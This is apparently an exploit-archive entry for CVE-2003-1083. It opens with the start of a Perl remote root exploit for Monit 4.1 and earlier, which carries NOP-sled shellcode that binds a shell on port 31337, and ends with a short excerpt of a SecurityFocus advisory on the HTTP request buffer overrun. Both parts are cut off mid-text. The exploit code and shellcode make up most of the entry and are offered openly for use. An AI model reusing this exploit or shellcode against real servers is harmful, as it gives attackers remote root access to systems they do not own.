CVE-2003-1083

#!/usr/bin/perl # # monit <= 41 remote root exploit # coded by gsicht (090404) # use IO::Socket::INET; $socket = 0; my $shellcode = # 8 + 88 = 96 bytes portbind 31337 "\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90" "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" "\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x8 ...

source: wwwsecurityfocuscom/bid/9099/info A buffer overrun vulnerability has been discovered in Monit 41 and earlier that could be exploited remotely to gain root privileges The problem occurs due to insufficient bounds checking when handling overly long HTTP requests As a result, it may be possible for a remote attacker to corrupt sen ...